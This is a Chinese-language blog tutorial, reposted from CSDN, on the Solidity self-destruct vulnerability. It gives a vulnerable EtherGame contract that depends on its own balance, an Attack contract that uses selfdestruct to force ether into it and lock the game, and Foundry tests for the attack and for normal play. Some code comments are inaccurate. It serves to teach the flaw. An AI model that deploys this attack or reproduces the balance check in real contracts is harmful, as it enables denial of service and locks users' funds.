自学内容网 自学内容网

区块链安全常见的攻击——自毁漏洞(Self-Destruct Vulnerability)【2】

区块链安全常见的攻击合约和简单复现,附带详细分析——自毁漏洞(Self-Destruct Vulnerability)【2】

1、自毁漏洞(Self-Destruct Vulnerability)

1.1 漏洞合约

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance; // vulnerable
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

1.2 漏洞分析

deposit函数用来存放资金到ethergame合约,每次只允许存放1 ether,当ethergame合约的资金达到7ether,设置赢家为存放者,并且停止存放。如果通过非法的手段存入资金使得ethergame合约金额达到7,那么赢家无法再设置,始终为0x000000,因此游戏被破坏。
在这里插入图片描述

1.3 攻击分析

1、部署一个Attack合约,里面有一个dos函数,函数调用了selfdestruct(addr)函数
2、addr设置为ethergame合约地址
2、攻击者调用dos,同时给attack合约发送资金(资金金额是ethergame合约还差多少达到7ether)
3、这样会触发selfdestruct,自我销毁会把Attack合约里的资金强制发送给ethergame合约,使其达到7ether,而winner无法设置。

1.4 攻击合约

   contract ContractTest is Test {
    EtherGame EtherGameContract; // EtherGame 合约实例
    Attack AttackerContract; // 攻击合约实例
    address alice; // Alice 地址
    address eve; // Eve 地址
    address Attacker; // Attacker 地址

    // 设置测试环境
    function setUp() public {
        EtherGameContract = new EtherGame();
        alice = vm.addr(1); // 模拟 Alice 地址
        eve = vm.addr(2); // 模拟 Eve 地址
        vm.deal(address(alice), 1 ether); // 为 Alice 分配 1 Ether
        vm.deal(address(eve), 1 ether); // 为 Eve 分配 1 Ether

        Attacker = vm.addr(3); // 模拟 Attacker 地址
        vm.deal(address(Attacker), 6 ether); // 为 Attacker 分配 1 Ether
    }

    function testSelfdestruct() public {
        console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
        console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log("winner : ", EtherGameContract.winner());
        console.log("Attack...");
        AttackerContract = new Attack(EtherGameContract); // 部署攻击合约并传入 EtherGame 的地址
        AttackerContract.dos{value: 5 ether}(); // 调用攻击合约的 dos 函数并发送 5 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印攻击后的 EtherGame 合约余额
        console.log("After, winner : ", EtherGameContract.winner());
        console.log("Exploit completed, Game is over");
        EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
    }
}

contract Attack {
    EtherGame etherGame; // 目标 EtherGame 合约

    // 初始化攻击合约
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame); // 绑定目标合约
    }

    // 攻击函数:通过 selfdestruct 销毁目标合约
    function dos() public payable {
        // 通过发送额外的以太币,使游戏余额达到 7 Ether,从而破坏游戏
        address payable addr = payable(address(etherGame)); // 转换为 payable 地址
        selfdestruct(addr); // 调用 selfdestruct 将以太币和字节码一起销毁
    }
}

在这里插入图片描述

1.5 正常游戏情况,合约金额达7ether会有winner

    function testSelfdestruct() public {
        console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
        console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log(" winner : ", EtherGameContract.winner()); // 打印 EtherGame winner

        console.log("Attacker starts depositing 1 Ether 5 times...");
        for (uint i = 0; i < 5; i++) {
            vm.prank(Attacker);
            EtherGameContract.deposit{value: 1 ether}(); // Attacker 每次存入 1 Ether
        }
        console.log(
            "After, Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印 EtherGame 合约的余额
        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        ); // 打印攻击后的 EtherGame 合约余额
        console.log("After, winner : ", EtherGameContract.winner()); // 打印 EtherGame winner
        console.log("Exploit completed, Game is over");··
        EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
    }

在这里插入图片描述


原文地址:https://blog.csdn.net/weixin_43458715/article/details/143877114

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!